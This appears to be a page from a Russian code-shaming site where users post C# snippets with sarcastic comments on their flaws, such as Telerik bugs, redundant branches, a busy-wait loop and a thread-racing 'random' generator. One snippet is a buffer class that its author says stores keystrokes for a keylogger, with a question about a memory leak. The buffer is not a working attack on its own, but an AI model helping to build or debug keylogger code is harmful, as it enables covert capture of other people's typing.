-
+366
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
var organizations =
test.ExtensionInformation.Cast<object>()
.Select(ext => ext as GenericPair<string, string>)
.Where(pair => pair.first == "{$idSenderOrganization}")
.Where(pair =>
{
int o_O;
return int.TryParse(pair.second, out o_O);
})
.Select(_ => int.Parse(_.second));
laMer007,
19 Августа 2016
-
+9
- 1
- 2
- 3
- 4
- 5
var actualCharCount = DisplayCharactersCount;
while (DisplayCharactersCount != actualCharCount)
{
Thread.Sleep(500);
}
и такое бывает
ewenso,
12 Августа 2016
-
+4
- 1
- 2
- 3
- 4
- 5
- 6
bool shift = keys.Shift;
if (keys.Control)
{
return SelectNextControl(shift ? false : true);
}
Телерик опять жжот. Цветёт и пахнет.
kerman,
10 Августа 2016
-
+1
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
if (test)
{
_inquiryLineRepository.RequestToOrderAPI(model, idetails, true);
}
else
{
_inquiryLineRepository.RequestToOrderAPI(model, idetails);
}
индусы радуются и танцуют групповые танцы, когда видят, что подобный код пишет кто то кроме них
and1dufresn3,
04 Августа 2016
-
+8
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
public float Ratio
{
get { return ratio; }
set
{
float newValue = value;
if (value < 0.002f)
{
newValue = 0.002f;
}
else if (value > 0.983f)
{
newValue = 0.983f;
}
if (ratio != newValue)
{
ratio = value;
InvalidateMeasure();
}
}
}
Мой "любимый" телерик опять пишет говно. Хорошо, что я скачал исходники и теперь сам могу править баги, не дожидаясь реакции этих слоупоков, которые после отправки бага с гифом (!), воспроизводящими исходниками (!!) и, блядь, патчем (!!!) исправляли два месяца сраный NRE.
Догадайтесь, что здесь не так. Про magic numbers уже молчу.
kerman,
01 Августа 2016
-
+5
- 1
- 2
- 3
- 4
- 5
- 6
- 7
private void DeleteNode()
{
viewModel.timing.Rows.Remove(Row);
viewModel.Rows.Remove(this);
//(x_x)
viewModel.ModelChanged.Raise();
}
При самоубиении не забудьте оставить коммент для GC, чтобы он ошмётки отскрёб от стенки
kerman,
28 Июля 2016
-
+8
- 1
Может кто знает, как работать с методом Table<TEntity>.Attach? Пробовал использовать его по разному, но результат получается один и тот же - Exception.
Serega9I,
28 Июля 2016
-
+7
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
class Buffer
{
StringBuilder buffer = new StringBuilder("", 55);
public void append(String symbol)
{
if (buffer.Length > 50)
writeToLog();
buffer.Append(symbol);
}
public void removeLast()
{
if (buffer.Length == 0)
return;
buffer.Length--;
}
private void writeToLog()
{
keylogFile.write(buffer.ToString());
buffer.Clear();
GC.Collect();
}
}
Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .
Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .
partizanes,
25 Июля 2016
-
+11
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
using System;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApplication23 {
class InternalRandom {
static double x;
Task t, t2;
public InternalRandom() {
t = new Task(ThreadFunc);
t.Start();
t2 = new Task(ThreadFunc);
t2.Start();
}
public double Next() {
return x;
}
public double Next(double max) {
x+=7;
return NORMALNYYREM(x,max);
//return Math.IEEERemainder(max, x);
}
static double NORMALNYYREM(double A,double B) {
return A - ((double)((long)(A/B))) * B;
}
static void ThreadFunc() {
while(true) {
x += 1;
}
}
}
class Program {
static InternalRandom ir;
static void Main(string[] args) {
ir = new InternalRandom();
for(int i = 1; i <= 20; i++) {
Console.WriteLine( "#"+i+" = "+ Random() );
}
Console.ReadLine();
//Environment.Exit(0);
}
static double Random() {
return ir.Next(10);
}
}
}
dm_fomenok,
18 Июля 2016
-
+7
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
public static List<String> ParseVKPermissionsFromInteger(int permissionsValue)
{
var res = new List<String>();
if ((permissionsValue & 1) > 0) res.Add(NOTIFY);
if ((permissionsValue & 2) > 0) res.Add(FRIENDS);
if ((permissionsValue & 4) > 0) res.Add(PHOTOS);
if ((permissionsValue & 8) > 0) res.Add(AUDIO);
if ((permissionsValue & 16) > 0) res.Add(VIDEO);
if ((permissionsValue & 128) > 0) res.Add(PAGES);
if ((permissionsValue & 1024) > 0) res.Add(STATUS);
if ((permissionsValue & 2048) > 0) res.Add(NOTES);
if ((permissionsValue & 4096) > 0) res.Add(MESSAGES);
if ((permissionsValue & 8192) > 0) res.Add(WALL);
if ((permissionsValue & 32768) > 0) res.Add(ADS);
if ((permissionsValue & 65536) > 0) res.Add(OFFLINE);
if ((permissionsValue & 131072) > 0) res.Add(DOCS);
if ((permissionsValue & 262144) > 0) res.Add(GROUPS);
if ((permissionsValue & 524288) > 0) res.Add(NOTIFICATIONS);
if ((permissionsValue & 1048576) > 0) res.Add(STATS);
return res;
}
Больше кала тут: github.com/VKCOM/vk-windowsphone-sdk
dm_fomenok,
17 Июля 2016